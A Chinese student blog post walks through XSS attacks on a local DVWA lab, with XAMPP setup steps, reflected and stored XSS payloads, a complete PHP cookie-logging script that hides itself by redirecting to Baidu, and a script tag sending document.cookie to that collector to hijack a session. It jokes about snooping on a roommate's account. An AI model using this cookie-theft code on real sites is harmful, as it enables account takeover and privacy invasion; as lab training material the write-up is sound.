課堂上要求學生自由組隊準備一個安全相關的主題講解,於是會興沖沖的找到學霸想抱大腿。最近應大腿的需求,決定要補充ppt一部分內容以掩蓋我們打醬油的真面目,大胖這裏是學霸的外號的意思是一個醬油的技術點太醬油,兩個醬油的技術點拼起來就刁刁的叻!
前一篇醬油技術是
登陸會話劫持
還有一個醬油技術就是本文了。
也是醉了,後來確定的主題竟然是如何幫助同學查看室友空間,更醉的是,這種猥瑣的事情要讓我來做!然而我並不會web安全,我只想安安靜靜的看彙編!
於是經過一番吐槽之後我躁動的心終於平靜下來,下面進入正題:
環境
服務器:Apache
數據庫:MySQL
網址:192.168.1.104/dvwa
訪問者:192.168.1.113
關於如何安裝dvwa網上的教程很多,這裏不再敖述,可以搜索一下,需要注意的是,xampp端口被佔用和局域網訪問的兩個問題。
端口占用
1.80端口衝突,解決方法:
打開目錄C:\xampp\apache\conf(我的安裝目錄爲C:\xampp)下的httpd.conf文件,將Listen 80和 ServerName localhost:80中的80改爲8081或其它值(儘量不要使用0-1023端口,這個是系統保留端口),要保持一致。
2.監聽端口443衝突,解決方法:
打開目錄C:\xampp\apache\conf\extra (我的安裝目錄爲C:\xampp)下的httpd-ssl.conf文件,將Listen 443這句註釋掉:# Listen 443或將443改爲4433或其它值(儘量不要使用0-1023)。
局域網訪問
修改httpd.conf(xampp/apache/conf/httpd.conf)
把Listen 80改成Listen 192.168.0.188:80
192.168.0.188換成實際服務器的ip地址打開httpd-xampp.conf(/xampp/apache/conf/extra/httpd-xampp.conf)
搜索關鍵字: Order deny,allow
然後在Order deny,allow下面一行有句 Deny from all
在Deny from all前加上#
完整形式:
<LocationMatch "^/(?i:(?:xampp|security|licenses|phpmyadmin|webalizer|server-status|server-info))">
Order deny,allow
#Deny from all
Allow from 127.0.0.0/8
# Require local
ErrorDocument 403 /error/XAMPP_FORBIDDEN.html.var
</LocationMatch>
配置好環境,在局域網下能夠成功訪問,就可以開始着手攻擊了
攻擊
xss reflected
發現漏洞
xss發生在一切由輸入輸出的地方。訪問網頁的時候發現遇到這樣的窗口,在輸入venidic的時候,瀏覽器直接返回成這樣的數據
右鍵查看源碼,發現根本沒有做任何的過濾就直接返回了
<div class="vulnerable_code_area">
<form name="XSS" action="#" method="GET">
<p>What's your name?</p>
<input type="text" name="name">
<input type="submit" value="Submit">
</form>
<pre>Hello venidic </pre>
</div>
那我們直接可以利用</pre>
閉合掉前面的一個<pre>
標籤,然後用<pre>
閉合掉</pre>
,在中間就可以填寫攻擊代碼了
構造測試代碼
</pre><script>alert('xss')</script><pre>
測試成功
利用漏洞
之前一直用xss就是彈個框以證實漏洞的存在,然而着並沒有什麼卵用,xss的猥瑣之處在於它處於前端,可以很容易的造成js腳本在瀏覽器任意執行,達到竊取cookie,劫持用戶會話,甚至是開發出xss worm。因爲本人web實在太渣,所以只會講最基本的盜取cookie的利用方式:
想要記錄來訪者cookie需要寫一個腳本,如果受害者觸發了這段js,則腳本就會記錄下受害者的cookie
截獲cookie的php腳本
<?php
$cookie = $_GET['cookie']; //以GET方式獲取cookie變量值
$ip = getenv ('REMOTE_ADDR'); //遠程主機IP地址
$time=date('Y-m-d g:i:s'); //以“年-月-日 時:分:秒”的格式顯示時間
$referer=getenv ('HTTP_REFERER'); //鏈接來源
$agent = $_SERVER['HTTP_USER_AGENT']; //用戶瀏覽器類型
$fp = fopen('cookie.txt', 'a'); //打開cookie.txt,若不存在則創建它
fwrite($fp," IP: " .$ip. "\n Date and Time: " .$time. "\n User Agent:".$agent."\n Referer: ".$referer."\n Cookie: ".$cookie."\n\n\n"); //寫入文件
fclose($fp); //關閉文件
header("Location: http://www.baidu.com")//重定向到baidu,防止發現
?>
那麼js攻擊代碼就可以這樣寫:
</pre><script>document.location = 'http://192.168.1.104/acceptcookie.php?cookie=' + document.cookie;</script><pre>
點擊提交
網頁被重定向到了baidu,證明攻擊成功
打開腳本同目錄下的cookie.txt
劫持成功
打開桂林老兵瀏覽器,修改cookie,然後登陸主頁,無需密碼直接進入
利用成功
xss stored
發現漏洞
繼續瀏覽,發現有留言本
隨便填寫,發現沒有任何過濾
攻擊代碼
message處:
<script>alert('xss')</script>
提交
觸發成功,退出網站
此時,我作爲網站管理員從服務器出進入網站管理
觸發成功,作爲遊客瀏覽留言板,同樣觸發成功。
利用漏洞
xss利用相當靈活,最簡單的cookie竊取的方法同上。
後
抱大腿的工作到這裏就結束啦,希望學霸上課演講順利!不要辜負我在考試周前放棄預習,熬夜準備這個鬼而長出來的痘痘!
// _ooOoo_
// o8888888o
// 88" . "88
// (| -_- |)
// O\ = /O
// ____/`---'\____
// . ' \\| |// `.
// / \\||| : |||// \
// / _||||| -:- |||||- \
// | | \\\ - /// | |
// | \_| ''\---/'' | |
// \ .-\__ `-` ___/-. /
// ___`. .' /--.--\ `. . __
// ."" '< `.___\_<|>_/___.' >'"".
// | | : `- \`.;`\ _ /`;.`/ - ` : | |
// \ \ `-. \_ __\ /__ _/ .-` / /
// ======`-.____`-.___\_____/___.-`____.-'======
// `=---='
//
// .............................................